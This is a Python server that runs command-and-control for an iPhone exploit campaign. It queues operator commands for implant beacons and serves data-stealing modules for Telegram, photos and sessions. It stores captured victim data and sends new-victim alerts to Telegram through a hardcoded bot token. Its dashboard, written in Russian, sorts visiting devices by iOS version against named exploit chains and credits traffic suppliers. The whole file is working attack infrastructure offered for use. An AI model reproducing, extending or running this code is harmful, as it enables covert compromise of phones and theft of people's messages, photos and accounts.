#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""collector_v3.py — unified kit collector with GhostWave C2 protocol on top of v2.

Adds to v2 collector:
  POST /beacon (and /ios18/beacon)  -> implant heartbeat; RESPONDS with next queued
                                       command (JSON {type: ..., params: ...}) or {"type":"noop"}
  POST /api/payload/get (any prefix) -> serves loot modules (telegram_v1.js,
                                       photos_upload_v1.js, session_*.js...) from modules/
  POST /api/task/status etc          -> generic sink (captures)
  GET  /c2?q=<json>                  -> operator command queue inject (auth: ?key=<stats key>)

Everything else behaves like v2: /stats (HTML/JSON, key-protected), /log.html,
/collect/*, /p /war /result /upload /a /u /nb /event -> captures.
"""
import http.server, socketserver, os, sys, json, time, urllib.parse, re, hashlib, gzip, threading

ROOT = os.path.dirname(os.path.abspath(__file__))
LOGD = os.path.join(ROOT, "collector_logs")
CAPD = os.path.join(LOGD, "captures")
MODD = os.path.join(ROOT, "modules")
for d in (LOGD, CAPD, MODD):
    os.makedirs(d, exist_ok=True)
LOCK = threading.Lock()
SEEN = set()
MAX_LOG_MB = 64
QUEUE = os.path.join(ROOT, "c2_queue.json")
STATS_KEY = os.environ.get("STATS_KEY", "")

def log(path, data):
    with LOCK:
        with open(path, "ab") as fh:
            fh.write(data)

def rot(path):
    try:
        if os.path.getsize(path) > MAX_LOG_MB * 1024 * 1024:
            os.replace(path, path + "." + str(int(time.time())))
    except OSError:
        pass

def queue_pop():
    """return next pending command for implant beacon"""
    with LOCK:
        try:
            q = json.load(open(QUEUE))
        except Exception:
            return {"type": "noop"}
        if not q:
            return {"type": "noop"}
        cmd = q.pop(0)
        json.dump(q, open(QUEUE, "w"))
        return cmd

def queue_push(cmd):
    with LOCK:
        try:
            q = json.load(open(QUEUE))
        except Exception:
            q = []
        q.append(cmd)
        json.dump(q, open(QUEUE, "w"), indent=1)
        return len(q)

# ---------------- stats (v2) ----------------
def summary():
    stats = {"beacons": 0, "routes": {}, "errors": 0, "stageok": 0, "stagefail": 0,
             "captures": 0, "last_ts": None, "uids": set(),
             "referrers": {}, "pages": {}, "events": [], "per_day": {},
             "c2_beacons": 0, "c2_cmds_served": 0}
    try:
        for fn in sorted(os.listdir(CAPD)):
            stats["captures"] += 1
            with open(os.path.join(CAPD, fn), "rb") as fh:
                blob = fh.read(16384)
            t = blob.split(b"--- ")[1][:19].decode("latin1") if b"--- " in blob[:60] else None
            if t: stats["last_ts"] = t
            day = (t or "")[:10]
            txt = blob.decode("utf-8", "ignore")
            if '"status": "idle"' in txt or '"device_info"' in txt:
                stats["c2_beacons"] += 1
            for tag in re.findall(rb"tag=([a-z0-9_]+)", blob):
                tag = tag.decode()
                stats["beacons"] += 1
                if day:
                    stats["per_day"][day] = stats["per_day"].get(day, 0) + 1
                if tag in ("err", "jserr", "jsrej", "stagefail"): stats["errors"] += 1
                if tag == "stageok": stats["stageok"] += 1
                if tag == "stagefail": stats["stagefail"] += 1
            for rt in re.findall(rb"\b(coruna|ds|psword|none)\b", blob):
                r = rt.decode(); stats["routes"][r] = stats["routes"].get(r, 0) + 1
            for u in re.findall(rb"uid=([A-Za-z0-9_]+)", blob):
                stats["uids"].add(u.decode())
            import urllib.parse
            for m in re.findall(rb"ref=([A-Za-z0-9_.~%\-]+)", blob):
                ref = urllib.parse.unquote(m.decode())
                if ref and ref != "-":
                    host = urllib.parse.urlparse(ref).netloc or ref[:40]
                    stats["referrers"][host] = stats["referrers"].get(host, 0) + 1
            for m in re.findall(rb"href=([A-Za-z0-9_.~%\-]+)", blob):
                pg = urllib.parse.unquote(m.decode())
                if pg and pg != "-":
                    stats["pages"][pg[:120]] = stats["pages"].get(pg[:120], 0) + 1
            if t and ("f18" in txt or "route=" in txt or "tag=route" in txt or "tag=f18" in txt):
                stats["events"].append({"ts": t, "file": fn[:40]})
    except OSError:
        pass
    try:
        stats["traffic"] = json.load(open(os.path.join(LOGD, "nginx_stats.json")))
    except Exception:
        stats["traffic"] = None
    stats["uids"] = sorted(stats["uids"])
    stats["events"] = stats["events"][-30:]
    return stats

def render_traffic(tr):
    if not tr:
        return ""
    import html as _h
    def esc(x):
        return _h.escape(str(x))
    cards = ('<div class="cards">'
             '<div class="card"><b>%d</b><span>Хитов (nginx)</span></div>'
             '<div class="card"><b>%d</b><span>Уникальных IP</span></div>'
             '</div>') % (tr.get("parsed_total", 0), tr.get("unique_ips", 0))
    fn_rows = "".join('<tr><td>%s</td><td>%d</td><td>%d</td></tr>' % (esc(k), v.get("hits", 0), v.get("unique", 0))
                      for k, v in sorted(tr.get("funnel", {}).items()))
    fn_tbl = ('<h3>Воронка (nginx, уникальные IP)</h3>'
              '<table><tr><th>стадия</th><th>хиты</th><th>уники</th></tr>%s</table>') % fn_rows
    dv_rows = "".join('<tr><td>%s</td><td>%d</td><td>%d</td></tr>' % (esc(k), v.get("hits", 0), v.get("unique", 0))
                      for k, v in sorted(tr.get("devices", {}).items(),
                                         key=lambda kv: -kv[1].get("hits", 0))[:30])
    dv_tbl = ('<h3>Устройства (реальные версии Version/x.y)</h3>'
              '<table><tr><th>устройство</th><th>хиты</th><th>уники</th></tr>%s</table>') % dv_rows
    sh = tr.get("stage_hist", {}).get("msgs", {})
    sh_tbl = ""
    if sh:
        rows = "".join('<tr><td>%s</td><td>%d</td></tr>' % (esc(k), v) for k, v in sorted(sh.items(), key=lambda kv: -kv[1]))
        sh_tbl = '<h3>Сообщения стадий (история nginx)</h3><table>%s</table>' % rows
    STAGES = ["entry", "beacon", "branch", "loader", "worker", "stage", "result"]
    fbd = tr.get("funnel_by_device") or {}
    rows = []
    for dev, stgs in sorted(fbd.items(), key=lambda kv: -(kv[1].get("worker", 0))):
        if not any(x in dev for x in ("iPhone", "iPad")):
            continue
        tds = "".join("<td>%d</td>" % stgs.get(s, 0) for s in STAGES)
        rows.append("<tr><td>%s</td>%s</tr>" % (esc(dev), tds))
    fbd_tbl = ""
    if rows:
        hdr = "".join("<th>%s</th>" % s for s in STAGES)
        fbd_tbl = ("<h3>Воронка по устройствам (уникальные IP)</h3>"
                   "<table><tr><th>устройство</th>%s</tr>%s</table>") % (hdr, "".join(rows))
    return '<hr><h2>Трафик (агрегатор nginx)</h2>' + cards + fn_tbl + fbd_tbl + dv_tbl + sh_tbl


def render_html(st):
    def tbl(d, name):
        rows = "".join('<tr><td>%s</td><td>%d</td></tr>' % (k, v)
                       for k, v in sorted(d.items(), key=lambda x: -x[1])[:25])
        return ('<div class="card"><h3>%s</h3><table><tr><th>источник</th><th>хитов</th></tr>%s</table></div>'
                % (name, rows or '<tr><td colspan=2>пока пусто</td></tr>'))
    days = "".join('<tr><td>%s</td><td>%d</td></tr>' % (k, v) for k, v in sorted(st["per_day"].items()))
    try:
        _devs = parse_devices()
        def _dcolor(name):
            if "уязвима" in name: return "#2e7d32"
            if "частично" in name: return "#f9a825"
            return "#9aa4b2"
        dev_rows = "".join('<tr><td style="color:%s;font-weight:600">%s</td><td style="color:%s">%d</td></tr>' % (_dcolor(k), k, _dcolor(k), v) for k, v in list(_devs.items())[:30])
    except Exception:
        dev_rows = ""
    dev_card = ('<div class="card" style="flex:1 1 100%%"><h3>📱 Устройства (источник хитов)</h3>'
                '<div style="color:#9aa4b2;font-size:12px;margin-bottom:6px">'
                '<span style="color:#2e7d32;font-weight:700">● уязвима (Coruna 15–17 / GhostWave 18.x)</span> · '
                '<span style="color:#f9a825;font-weight:700">● частично</span> · '
                '<span style="color:#757575">● пропатчено</span></div>'
                '<table><tr><th>устройство</th><th>хитов</th></tr>%s</table></div>'
                % (dev_rows or '<tr><td colspan=2>пока пусто</td></tr>'))
    routes = "".join('<tr><td>%s</td><td>%d</td></tr>' % (k, v) for k, v in sorted(st["routes"].items()))
    return ('<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow">'
            '<title>Stats</title><style>'
            'body{font-family:-apple-system,sans-serif;background:#0f1115;color:#e6e6e6;margin:0;padding:20px}'
            '.wrap{max-width:900px;margin:0 auto}h1{font-size:20px}'
            '.grid{display:flex;flex-wrap:wrap;gap:12px}'
            '.card{background:#181b22;border-radius:10px;padding:14px;flex:1 1 380px}'
            'table{border-collapse:collapse;width:100%%;font-size:13px}'
            'td,th{border-bottom:1px solid #262b36;padding:5px 8px;text-align:left}'
            'th{color:#9aa4b2}.big{font-size:28px;font-weight:700}'
            '</style></head><body><div class="wrap">'
            '<h1>handmadgifts — статистика</h1>'
            '<div class="grid">'
            '<div class="card"><div>Всего событий</div><div class="big">%d</div></div>'
            '<div class="card"><div>C2 beacons</div><div class="big">%d</div></div>'
            '<div class="card"><div>Уникальных uid</div><div class="big">%d</div></div>'
            '<div class="card"><div>Капчеров</div><div class="big">%d</div></div>'
            '</div>'
            '<div class="grid">%s%s'
            '<div class="card"><h3>Маршруты (кто какой кит получил)</h3>'
            '<table><tr><th>ветка</th><th>хитов</th></tr>%s</table></div>'
            '<div class="card"><h3>По дням</h3><table><tr><th>день</th><th>хитов</th></tr>%s</table></div>'
            '</div>'
            '%s'
            '<div class="card"><h3>Последние события</h3><table><tr><th>время</th><th>файл</th></tr>%s</table></div>'
            '<p style="color:#666;font-size:12px">обновлено %s &middot; JSON: &format=json</p>'
            '</div></body></html>') % (
        st["beacons"], st.get("c2_beacons", 0), len(st["uids"]), st["captures"],
        tbl(st["referrers"], "С каких сайтов приходили (referrer)"),
        tbl(st["pages"], "Страницы входа (href)"),
        routes, days, dev_card,
        "".join('<tr><td>%s</td><td>%s</td></tr>' % (e["ts"], e["file"]) for e in reversed(st["events"])),
        time.strftime("%F %T"))

# ==== Telegram lead notify (метки трафферов) ====
TG_TOKEN = "8856442544:AAEtCAciPv25ALrUz1fwfEPkFw8E6Gd-v2U"
TG_CHAT = "-1004438038304"
TRMAP = os.path.join(ROOT, "collector_logs", "tr_map.json")
def _tr_load():
    try: return json.load(open(TRMAP))
    except Exception: return {}
def _tr_save(d):
    try: json.dump(d, open(TRMAP, "w"))
    except Exception: pass
def send_tg(msg):
    try:
        import urllib.request as ur
        data = urllib.parse.urlencode({"chat_id": TG_CHAT, "text": msg}).encode()
        ur.urlopen(ur.Request("https://api.telegram.org/bot" + TG_TOKEN + "/sendMessage", data=data), timeout=8)
    except Exception: pass

# ==== разбивка по устройствам/версиям из nginx User-Agent ====
NGINX_LOG = os.environ.get("NGINX_LOG", "/var/log/nginx/handmadgifts.access.log")
def parse_devices():
    """Разбивка по устройствам/версиям из nginx UA с цветовой маркировкой уязвимости.
    Читает ВСЕ логи (текущий + ротированные .1/.2.gz) — весь трафик, а не только свежий."""
    from collections import Counter
    import glob as _glob, gzip as _gzip
    cnt = Counter()
    ios_re = re.compile(r'(?:iPhone|iPad) OS (\d+)[_.](\d+)(?:[_.](\d+))?')
    # FIX: iOS 26+ freezes the 'iPhone OS X_Y' UA token (always 18_7) -> parse REAL
    # version from Safari 'Version/x.y'. Prefer Version/, fallback to frozen UA token.
    ver_re = re.compile(r'Version/(\d+)[_.](\d+)(?:[_.](\d+))?')
    def classify(major, minor, patch):
        # Coruna: 15.2 – 17.2.1 (полная цепь) — старые уязвимые
        if major == 15:
            return ("уязвима", "#2e7d32") if minor >= 2 else ("", "#9e9e9e")
        if major == 16:
            return "уязвима", "#2e7d32"
        if major == 17:
            if minor < 2 or (minor == 2 and patch <= 1): return "уязвима", "#2e7d32"
            return "пропатчено", "#757575"
        # GhostWave / DarkSword: 18.4 – 18.7.x
        if major == 18:
            if minor in (4,5,6): return "уязвима", "#2e7d32"
            if minor == 7:
                if patch in (0,1): return "уязвима", "#2e7d32"
                if patch == 2: return "частично", "#f9a825"
                return "пропатчено", "#757575"
            return "", "#757575"
        if major == 26:
            if minor in (0,1): return "частично", "#f9a825"
            return "пропатчено", "#757575"
        if major >= 27: return "пропатчено", "#757575"
        return "", "#9e9e9e"
    def _lines():
        for fp in sorted(_glob.glob(NGINX_LOG + "*")):
            try:
                if fp.endswith(".gz"):
                    for ln in _gzip.open(fp, "rt", errors="replace"): yield ln
                else:
                    for ln in open(fp, errors="replace"): yield ln
            except Exception: pass
    for line in _lines():
        m = re.search(r'"([^"]*)"\s*$', line.strip())
        ua = m.group(1) if m else line
        im = ver_re.search(ua) or ios_re.search(ua)
        if im and ("iPhone" in ua or "iPad" in ua):
            major, minor = int(im.group(1)), int(im.group(2))
            patch = int(im.group(3)) if im.group(3) else 0
            ver = f"{major}.{minor}" + (f".{patch}" if im.group(3) else "")
            dev = "iPad" if "iPad" in ua else "iPhone"
            tag, color = classify(major, minor, patch)
            cnt[f"{dev} (iOS {ver}{' '+tag if tag else ''})"] += 1
        elif "Android" in ua: cnt["Android"] += 1
        elif "Windows" in ua: cnt["Windows"] += 1
        elif "Macintosh" in ua or "Mac OS X" in ua: cnt["Mac"] += 1
        elif "iPad" in ua: cnt["iPad"] += 1
        elif "iPhone" in ua: cnt["iPhone"] += 1
        else: cnt["Other"] += 1
    return dict(cnt.most_common())

class H(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=ROOT, **kw)
    def end_headers(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type, Content-Encoding")
        super().end_headers()
    def log_message(self, fmt, *a):
        rot(os.path.join(LOGD, "access.log"))
        log(os.path.join(LOGD, "access.log"), ("%s %s\n" % (time.strftime("%F %T"), fmt % a)).encode())
    def _json(self, obj, code=200):
        body = json.dumps(obj, ensure_ascii=False).encode()
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def do_OPTIONS(self):
        self.send_response(204); self.end_headers()
    def do_GET(self):
        p = self.path.split("?")[0]
        q = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if p in ("/log.html", "/log", "/f18"):
            line = time.strftime("%F %T ") + urllib.parse.unquote(self.path) + "\n"
            rot(os.path.join(LOGD, "stage.log"))
            log(os.path.join(LOGD, "stage.log"), line.encode())
            self.send_response(204); self.end_headers(); return
        if p == "/stats":
            st = summary()
            if q.get("format", ["html"])[0] == "json":
                self._json(st); return
            body = (render_html(st) + render_traffic(st.get("traffic"))).encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers(); self.wfile.write(body); return
        if p == "/health":
            self.send_response(200); self.send_header("Content-Length", "2")
            self.end_headers(); self.wfile.write(b"ok"); return
        if p == "/c2":
            # operator command queue: GET shows queue, ?key= required
            if STATS_KEY and q.get("key", [""])[0] != STATS_KEY:
                self._json({"error": "auth"}, 403); return
            if "q" in q:
                try:
                    cmd = json.loads(q["q"][0])
                except Exception:
                    self._json({"error": "bad json"}); return
                n = queue_push(cmd)
                self._json({"queued": n, "cmd": cmd}); return
            try:
                qd = json.load(open(QUEUE))
            except Exception:
                qd = []
            self._json({"queue": qd}); return
        return super().do_GET()
    def do_POST(self):
        n = int(self.headers.get("Content-Length") or 0)
        body = self.rfile.read(n) if n else b""
        enc = (self.headers.get("Content-Encoding") or "").lower()
        if "gzip" in enc:
            try: body = gzip.decompress(body)
            except OSError: pass
        p = urllib.parse.urlparse(self.path).path
        # normalize /ios18/<x> -> /<x> for protocol routing (keep leading /)
        rel = p[6:] if p.startswith("/ios18/") else p
        if not rel.startswith("/"):
            rel = "/" + rel
        # --- C2: beacon -> respond with queued command ---
        if rel in ("/beacon",):
            try:
                j = json.loads(body.decode("utf-8", "ignore") or "{}")
            except Exception:
                j = {}
            uid = str(j.get("uuid", ""))[:40]
            # траффер-метка (?tr=T1) + домен -> Telegram-лид для новых устройств
            try:
                qs = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
                tr = (qs.get("tr", [""])[0] or "")[:8]
                host = (self.headers.get("Host") or "").split(":")[0]
                if uid:
                    tm = _tr_load()
                    if uid not in tm:
                        tm[uid] = {"tr": tr, "host": host, "first": time.strftime("%F %T")}
                        _tr_save(tm)
                        send_tg("🚨 LID | траффер: %s | домен: %s | uid: %s" % (tr or "?", host, uid))
            except Exception:
                pass
            cmd = queue_pop()
            h = hashlib.sha1(body).hexdigest()[:12]
            fname = "%d_beacon_%s_%s" % (int(time.time()), uid or "anon", h)
            with LOCK:
                rot(os.path.join(CAPD, fname))
                with open(os.path.join(CAPD, fname), "ab") as fh:
                    fh.write(b"--- %s %s ---\n" % (time.strftime("%F %T").encode(), self.path.encode()))
                    fh.write(body)
            self._json(cmd); return
        # --- C2: payload/get -> serve loot module ---
        if rel.endswith("/payload/get") or rel == "/api/payload/get":
            try:
                j = json.loads(body.decode("utf-8", "ignore") or "{}")
            except Exception:
                j = {}
            name = os.path.basename(str(j.get("name", j.get("module", ""))))
            name = re.sub(r"[^A-Za-z0-9_.-]", "", name)
            fp = os.path.join(MODD, name) if name else ""
            if fp and os.path.isfile(fp):
                src = open(fp, encoding="utf-8", errors="surrogateescape").read()
                self._json({"module_id": name.replace(".js", ""), "src": src, "task": {}})
                log(os.path.join(LOGD, "modules.log"),
                    ("%s served %s %dB\n" % (time.strftime("%F %T"), name, len(src))).encode())
            else:
                self._json({"error": "no such module", "name": name}, 404)
            return
        # --- generic sink ---
        h = hashlib.sha1(body).hexdigest()[:12]
        name = os.path.basename(p) or "root"
        fname = "%d_%s_%s" % (int(time.time()), name, h)
        with LOCK:
            rot(os.path.join(CAPD, fname))
            with open(os.path.join(CAPD, fname), "ab") as fh:
                fh.write(b"--- %s %s ---\n" % (time.strftime("%F %T").encode(), self.path.encode()))
                fh.write(body)
        self.send_response(200); self.send_header("Content-Length", "2")
        self.end_headers(); self.wfile.write(b"ok")

if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8890
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    socketserver.ThreadingTCPServer.daemon_threads = True
    with socketserver.ThreadingTCPServer(("0.0.0.0", port), H) as s:
        print("collector v3 (c2 protocol) serving %s on :%d" % (ROOT, port)); s.serve_forever()
